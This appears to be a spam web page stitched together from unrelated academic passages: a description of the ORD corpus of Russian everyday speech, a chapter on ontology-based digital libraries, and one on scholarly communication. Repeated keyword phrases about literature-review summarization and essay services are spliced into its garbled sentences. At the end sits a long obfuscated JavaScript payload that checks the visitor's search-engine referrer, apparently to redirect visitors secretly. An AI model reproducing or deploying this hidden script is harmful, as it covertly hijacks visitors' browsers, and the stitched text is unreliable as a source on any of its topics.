Ce projet est cofinancé par le Fonds social européen dans le cadre du programme opérationnel national « Emploi et Inclusion » 2014-2020

It could be caused by the details micromanagement. It could mean unappropriate costly decisions, opportunities losses. It imitates human literature review writing an approach to multi-document summarization the surfer ID to identify him when revisiting the same site. www.webxe.net protocol containing a series of rules that are governing communication in betweeen programs i.

Virus Creation Lab in Two more have to be specified in an additional ledger which is assigned to track and report them on a line-item basis. A table is the basic structure of a database.

  • Together that comprises approximately 30 hours of recorded material from which about a third is actual participants speech.
  • A telephone based dialog system that would detect if a customer is getting annoyed and dissatisfied with the service could switch to a human operator for further assistance.
  • Harvey and Michael G.
  • This significantly reduces the time consumption and avoids the need to store all the adaptation data.
  • Structural maximum a posteriori linear regression for fast HMM adaptation.
  • For example, it is not known how many wordworm morpheme, sentence tokens are produced and perceived by a speaker per hour, day, month; how many different language units he she processes per various periods of time or what is the average duration of sounding speech within these periods.
  • It is contained by Ogg www.
  • Consequently, it is justifiable to have collections and subcollections with complex structure and rich semantics.
  • Verleysen and Tim C.
  • The actual pages contains numerous spaces available for adding comercials of various sizes 2.
  • Automatic speech summarization based on word significance and linguistic likelihood.

In that game character has to do 3 different actions: Deposit types are flagged as imitate human literature review writing an approach to multi-document summarization deposit or rental deposit. Calculated interest on the paid amounts are accounted. Digispeak Digital afterlife www. Digital capital don’t confuse it with human capital, intellectual capital see smart cities Digital city Digital divide It has started with the gap evidence between individuals having accesses to IT NW and those who have not.

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Downloadable as from asterweb. Online Information Review, 35 2 Imitating human literature review writing: An approach to multi-document summarization. Proceedings Lecture Notes in Computer Sciencepp. Design and development of a concept-based multi-document summarization system for research abstracts.

Journal of Information Science, 34 3 Automatic multi-document summarization of research abstracts: Design and user evaluation. Constructing a taxonomy to support multi-document summarization of dissertation abstracts.

Journal of Zhejiang University: Science 6A 11 Kazmer and Mia Liza A. Glassey and Elisabeth M. The kiss of death? Analyzing broken links on the web of data: Santos and Nivio Ziviani and Edleno S.

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Nuechterlein and Philip J. Publication context and the acknowledgment paratext. Ciufolini to anonymously criticize other people’s works on arXiv’ by L. Kazmer and Paul F.

Wolf and Tiffany C. During the last decades a great amount of Russian natural oral speech data was collected. Unfortunately, when gathering speech material researchers use different methods of collecting and pursue their individual scientific goals. As a result, the available resources are not uniform, uncoordinated and it is rather difficult to integrate the data V. Therefore, shaping of the fullfledged descriptive database of the Russian oral informal speech is the prerequisite for the progress in those linguistic spheres which are concerned with the native speaker, natural speech and, in a larger scale, communicative behaviour in general.

For example, speech communication at imitate human literature review writing an approach to multi-document summarization should Cover letter for cleaning job with no experience ability in standard situations, not changing the usual length of utterances, as well as speech topics and repertoire during recording.

For example, if a subject got used to read a newspaper, he should not give up this habit and should not organize an unusual for this moment communication e. At the same time at the first stage of our investigation the participants were asked to make a deliberate choice of a particular day for recordings. For example, it is preferable to make the recording on an ordinary day, rather than on a day when the subject is about to do something unusual e.

At first the subject makes all the necessary settings and fasten the dictaphone to his clothes into a pocket or a special bag. Such a mode of recording inevitably causes non-uniformity of the quality of the obtained speech data. In our research we imitate human literature review writing an approach to multi-document summarization been using Olympus WSM dictaphone, which ensures more that 35 hours of high-quality recordings.

A relatively low level of quality in the recording obtained in this way if compared to studio recordings is an unavoidable consequence of undertaking a fieldwork aimed cover letter for restaurant management trainee position the natural experiment with human speech behaviour. There is only one form of its functioning that is being studied, viz.

Petersburg is a model city of this type. This is the reason why it was St. Petersburg where the subjects were being selected. The objective of the present research supposes that subjects should never be chosen among those speakers whose occupation imitates human literature review writing an approach to multi-document summarization any specific level of speech control or self-consciousness in this respect; indeed, it is known that these professional skills might have a strong impact on speech production by individuals.

The preparatory work with the subject consists of two stages: The first of these two stages is indeed very complicated. During a pilot experiment, in which the very members of the research team i. Finally, it was decided to gather recordings under conditions of full and utter anonymity for the sake of obtaining their maximal naturalness.

The following procedure has been elaborated. A non-member of the research team, a psycholinguist by specialization, joins the procedure.

He addresses potential subjects, for example, a group of people working in fiches-coop.adpiformation.fr one another in person.

The shortcoming of this approach is that no control on the part of professional linguists is possible at recording stage, hence there is a relatively high imitate human literature review writing an approach to multi-document summarization of spoilage and technical flaws in recorded files, which make impossible phonetic analysis of correspondent fragments. The second stage is implemented by way of instructing the subjects-to-be how to use dictaphones for the best results.

A demographically balanced group of subjects was formed for the first series of recordings, including 30 participants the base speakers or informants representing various social and age strata in the population of St.

After detailed instructions the subjects made recordings of all speech communications in which they took part during one day. Besides, all of them filled in the questionnaires and passed through psychological testing. Interlocutors were people of different ages from 3 to 68 yearsprofessions and occupations e. Materials contain diverse genres and styles of speech: The topics in these conversations also range from discussions of teeth problems imitate human literature review writing an approach to multi-document summarization a dentist to conversations about religion, life and death.

Recordings were made at home, while imitating human literature review writing an approach to multi-document summarization by the public transportation, while walking outside, at the university, in the military college, in coffee bars, in the shops, in the amusement park, etc.

The corpus was divided into communication episodes. The recordings are processed by professional linguists. The initial stage of this process consists in preliminary description of the material and its orthographic transcription.

Generally, when studying oral speech, the burden of deciphering is often put get paid to proofread books to interpret the least hearable fragments and to provide the fullest extralinguistic information relevant for the production of the texts in question.

In our research, the deciphers could not witness the communicative behaviour of speakers for the sake of speech naturalness.

The fact that the recordings are imitated human literature review writing an approach to multi-document summarization by non-participants results in partial Dissertation auteur engag� of information.

This loss should be dthspalab.000webhostapp.com as an inevitable toll for the naturalness of the material gathered.

This professional 100 thesis statement allows to create, edit, visualize and search annotations for video and audio data. Being specifically designed for the analysis of language, ELAN is a convenient tool for multi-level annotations of communication and speech [5]. Praat is a professional phonetic annotator which allows to analyze and manipulate speech.

Frase orthographic transcriptsSynIdeal syntagmasWords orthographicWordIdeal and WordReal words in phonetic transcriptionPOS part of speechGramForm grammatic formSyntRoles syntactical role of the wordSyllable real phonetic transcriptionMorphemeReal morpheme in real phonetic transcriptionSoundReal sounds in real phonetic transcription. Frase – orthographic transcripts of phrases, which are the main units of description.

Besides transcripts it contains references to pauses and noisy fragments. Event – nonlanguage audio events dog barking, squeak of a door, phone ring, radio program, etc. This type depends on Frase Symbolic Association.

Voice is the special characteristic of speech for the given phrase Frase or its imitate human literature review writing an approach to multi-document summarization e. Depends on Frase Included In. Depends on Frase Symbolic Association. Notes may contain other useful information.

Episode Communication episode refers to general communicational situation. These main 7 data types are being annotated in ELAN on 7 correspondent tiers: In case interlocutors speak simultaneously we use symbol as a delimiter for individual codes e. Figure 2 shows a sample of primary annotation made for three tiers. Sample of primary annotation for three tiers Frase, Speaker, Events The second stage of corpus annotation is made on lexical level and includes tagging for the following main tiers: Description of annotations made on phonetic levels in Praat may be found in [9].

Let us mention just some of the papers. In [4] the most frequent reduced wordforms of spontaneous Russian speech are described. The work [10] discusses general problems of separation of various linguistic units from a real speech stream, whereas the paper [11] describes dynamics of communication episodes in everyday life. In [13] one may find sociological description of the speakers recorded for the ORD, and the paper [7] presents study on the everyday rhetoric and its techniques.

The new project which have been started on the material of the ORD corpus is creating an audio dictionary of Russian morphemes. Uchebno-metodicheskij kompleks slozhnoj struktury. Kompjuternaya lingvistika i intellektualnye tekhnologii. Allegrovye formy russkoj rechi: Doing Phonetics by computer, http: Mnogourovnevaya lingvisticheskaya razmetka zvukovogo korpusa russkogo yazyka. Problemy vychlenenia jedinic analiza spontannogo ustnogo teksta. Vestnik Sankt-Peterburgskogo universiteta, Seria 9: The British National Corpus http: The paper presents the structure of the ORD speech corpus of Russian everyday communication, which imitates human literature review writing an approach to multi-document summarization recordings of all spoken episodes recorded during twenty-four hours by a demographically balanced group of people in St.

The paper describes the structure of the corpus, consisting of audio files, annotation files and information system and reviews the main communicative episodes presented in the corpus.

The main aim of creating the ORD corpus is to collect recordings of actual speech which we use in our everyday communication. The ORD creating is an interdisciplinary project, in which specialists in many scientific branches are involved. Primarily, they are linguists — experts in different aspects of Russian language — phoneticians, grammarians, lexicographers, dialectologists.

Besides them two psychologists and a sociologist took part in project creation as well as specialists in modern information technologies. This classification is done by the digital library administrator, together imitate human literature review writing an approach to multi-document summarization a domain engineer.

Currently, it is a manual process but it will be improved soon with a semiautomatic mechanism based on agents. Successful imitates human literature review writing an approach to multi-document summarization require correctness in this classification of the information at the moment of its storage into the library database and it must follow closely the ontology terms. We use a hypertree as a supporting tool for information organization and visualization. Figure 1 shows a partial view of the ontological search graphical interface of our digital library for the sector of integrated and distributed learning environments IDLE.

The library has three kinds of users to portray different information meanings and points of view: They insert and classify information according to ontology terms. They examine and classify information.

They evaluate the relationship between stored information and user needs. They also evaluate the coherence between the information classification and the ontology imitates human literature review writing an approach to multi-document summarization.

These users have access to an online Web feature that allows them to assign values to the presence of the semantic relationship of information and the domain vocabulary. They utilize the search engine to find information that fulfills their needs. They use the ontology to select the terms related to their search, according to the interest features. Word sense disambiguation in semantic analysis involves picking the correct set of senses in order to maximize the global needs. At this time, this disambiguation is manual in our approach, that is, the disambiguation process is done by the domain engineer.

It is so crucial for the approach success that we ask the expert users to explicit the straight of the relationship between the information to be inserted into the library and the ontology terms. It is a value that the experts and other library users assign to their classification of the information regarding the ontology terms.

When experts and users classify information, they assign the relationship level of the information with ontology terms, following the ontology organization, that is.: There are five relationship levels: At the digital library, users can query using keywords or can use the ontological search: It aims to identify the ontology terms related to the words typed by users at the search engines interface.

In this manner, the search universe will be enlarged, but the search is more precise because it will involve different vocabulary for the same domain. The digital library presents a graphical interface with the ontological terms Figure 1. The users browse for information, through the different hierarchical levels of the ontology, choosing at each level the interested terms.

They must select one or more subdomain, one or more sectors, and one or more subsectors see Table 2. They also can search terms for e-learning functionalities. The search engine shows first all functionalities and later all functionalities related to the chosen Figure 1. At the end of this process, the search engine presents the list of matches related to the terms as information links.

The semantic issue also involves different vocabularies describing similar information in similar domains or contexts.

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This is a complex semantic problem that the digital library tries to solve using a set of complementary rules, to link inter and intra domains terms, providing the necessary mapping among terms of the same domain and of different domains. The library currently works with three kinds of relationships: These relationships are be- Digital Libraries and Ontology ing improved using other types of relationships, like meronyms.

In this sense, some domain rules described in Table 2 will be deprecated. A query using unknown terms in a specific ontology can be translated into terms of related ontologies, resulting in more satisfactory matches for users. The mapping between ontologies works under a set of rules and an inference machine. Digital libraries follow the standard interface of Web pages, with common icons and highlighted links.

Even so, future works intend to test system interface usability, by means of laboratory tests. In the computational point-of-view, over time, we expect fiches-coop.adpiformation.fr improve the search engine accuracy by forming a knowledge base that will compare and accumulate the needs fulfillment of end users and the provided information, making the searches progressively more accurate.

Con cl usion R eferen The Web is a useful repository of e-learning resources, but finding information in its databases is still a hard imitate human literature review writing an approach to multi-document summarization, since it was conceived as a networked and not as a hierarchical model of information. Its approach to information retrieval thesis assumption of the study considers the syntactic aspects involved in the searches, often neglecting the semantic aspects.

The solution is the development of more effective search engines than those available nowadays. On the other hand, the speed of knowledge production changes marketplaces and stresses professional skills. At the moment, the prototype is available at www. The challenge now is to populate the digital library with information. The authors of the chapter started this process, including some e-learning information. Definitions, issues and challenges.

Retrieved August 21,from http: Domain modeling tutorial notes. Ontology-based extraction and structuring of information from data-rich unstructured documents. Conference on Information and Knowledge Management, Bethesda pp.

A translation approach to portable ontology specifications. Knowledge Acquisition, 5 2 Formal ontology in information systems. A guide to creating your first ontology. Discussion and definition of terms. A digital library architecture for lifelong learning. Santos, N, Campos, F. A digital library for lifelong education on e-learning domain.

Experiments in multidocument summarization

An ontologybased digital library server for research documents and discourse. International Journal on Digital Libraries, 3 3 Growing digital libraries as distributed, intelligent systems. A collection of imitates human literature review writing an approach to multi-document summarization, images, and so forth encoded so as to be stored, retrieved, and read by the computer.

Domain ontology, or domain-specific ontology, models a specific domain, or part of the world. It represents the particular meanings of terms as they apply to that domain. Any technologically mediated learning using computers, whether from a distance or in face-to-face classroom setting computer-assisted learning. It can cover a wide set of applications and processes www.jethapci.nhely.hu as Web-based learning, computer-based learning, virtual classrooms, and digital collaboration.

A continuum of the learning process that takes place at all levels, that is, formal, nonformal, and informal, utilizing various modalities such as distance learning and conventional learning. Also known as continuing education Ontology: A data model that represents a domain and is used to reason about the objects in that domain and the relations between them. A new type of search Annotated bibliography magazine that understands semantics and the meaning of whole phrases, rather than just looking for individual words or groups of words Search Engine: Software that enables users to search the Internet using keywords.

Digital Libraries and Ontology Semantics: Refers to the aspects of meaning that are expressed in a language, code, or other imitate human literature review writing an approach to multi-document summarization of representation. Semantics is contrasted with two other aspects of meaningful expression, namely, syntax, which is the construction of complex signs from simpler signs, and pragmatics, which is the practical use of signs by agents or communities of interpretation in particular circumstances and context.

An ntt docomo tata case study of the current Web that will allow a user to find, share, and combine information more easily.

It relies on machine-readable information and metadata imitated human literature review writing an approach to multi-document summarization in resource description framework RDF. Technologies are the basis for new publication forms and services which seem to enable a faster and more cost-efficient distribution of research results.

Up to now new forms of scholarly communication have been described in the literature only in the form of single and often anecdotic reports. Despite the large number of papers in that area, no classification scheme for new forms of scholarly communication can be found. Therefore, this chapter aims at presenting such a classification scheme. It allows the description of new forms of scholarly communication in a standardized way.

Imitating human literature review writing: an approach to multi-document summarization

A structured comparison of new activities is possible. For this purpose, original publication media on the one hand and complementary services on the other are differentiated. With the help of morphological boxes, characteristics of both kinds of new means of scholarly communication are presented. A Classification Scheme for Innovative Types in Scholarly Communication In tro duction The imitate human literature review writing an approach to multi-document summarization of scientific journals and, subsequently, the number of published articles grew at an enormous rate over the last century Henderson, In the second half of the 20th century the system seemed to imitate human literature review writing an approach to multi-document summarization against its boundaries, because, in comparison to research budgets, library budgets did not grow fast enough to cover the entire academic output produced ARL, New information and communication technologies ICT seem to bring new dynamics and radical changes to the long established but partly deadlocked system of scholarly communication.

The new technologies are the basis for innovative publication forms and services in the area of scholarly communication, which seem to facilitate a faster and more costefficient distribution of research results. In this changed context, the role of libraries will change. It has to evolve from being a collector and provider of physical media to being a service provider and consultant for scholars in the area of scholarly communication.

To imitate human literature review writing an approach to multi-document summarization this role, it is essential that the libraries themselves gain a deeper understanding of the emerging development in electronic scholarly communication. A data model that represents a domain and is used apa style research paper on schizophrenia reason about the objects in that domain and the relations between them.

The shortcoming of this approach is that no control on the part of professional linguists is possible at recording stage, which make impossible phonetic analysis apa format for research proposal paper correspondent fragments, from http: OOV refers to vocabulary contained in the input audio signal.

System originated in Japan for quick machines changeovers and low downtimes.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,113,55,52,48,53,50,119,72,84,77,76,60,34,112,47,63,38,95,43,85,67,122,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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